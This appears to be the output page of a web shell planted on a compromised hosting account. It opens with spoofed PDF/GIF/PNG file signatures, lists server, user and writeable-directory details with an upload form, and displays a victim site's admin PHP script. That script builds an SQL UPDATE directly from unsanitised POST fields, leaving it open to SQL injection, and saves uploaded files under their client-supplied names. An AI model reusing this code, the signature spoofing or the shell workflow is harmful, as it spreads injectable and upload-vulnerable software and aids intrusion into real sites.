%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/admin/blogupdatedata.php
<?php
include('../dbcon.php');
include('header.php');
include('function.php');

// Check if form is submitted
if (isset($_POST['submit'])) {
    // Retrieve form data
    $id = $_POST['sid'];
    $title = $_POST['title'];
    $title_ar = $_POST['title_ar'];
    $submenu = $_POST['submenu'];
    $submenu_ar = $_POST['submenu_ar'];
    $subtitle1 = $_POST['subtitle1'];
    $subtitle1_ar = $_POST['subtitle1_ar'];
    $page_title = $_POST['page_title'];
    $description = $_POST['description'];
    $keywords = $_POST['keywords'];
    $robots = $_POST['robots'];
    $canonical = $_POST['canonical'];
    $tags = $_POST['tags']; // Retrieve tags input
    $imagename = $_FILES['simg']['name'];
    $tempname = $_FILES['simg']['tmp_name'];

    // Generate slug from title
    $titleslug = slug($title);

    // Check if an image is uploaded
    if (!empty($imagename)) {
        move_uploaded_file($tempname, "../dataimg/$imagename");
    }

    // Prepare the update query
    $qry = "UPDATE `project` SET 
            `title` = '$title', 
            `title_ar` = '$title_ar',
            `submenu` = '$submenu', 
            `submenu_ar` = '$submenu_ar',
            `titleslug` = '$titleslug', 
            `page_title` = '$page_title', 
            `description` = '$description', 
            `keywords` = '$keywords', 
            `robots` = '$robots', 
            `canonical` = '$canonical', 
            `subtitle1` = '$subtitle1', 
            `subtitle1_ar` = '$subtitle1_ar', 
            `tags` = '$tags'";

    // Append image if uploaded
    if (!empty($imagename)) {
        $qry .= ", `image` = '$imagename'";
    }

    $qry .= " WHERE `id` = $id";

    // Execute query
    $run = mysqli_query($conn, $qry);

    // Check if query was successful
    if ($run) {
        echo '<script>alert("Data Updated Successfully");</script>';
        echo '<script>window.location.href="blogshow.php";</script>';
    } else {
        echo '<script>alert("Failed to Update Data");</script>';
    }
}

VaKeR 2022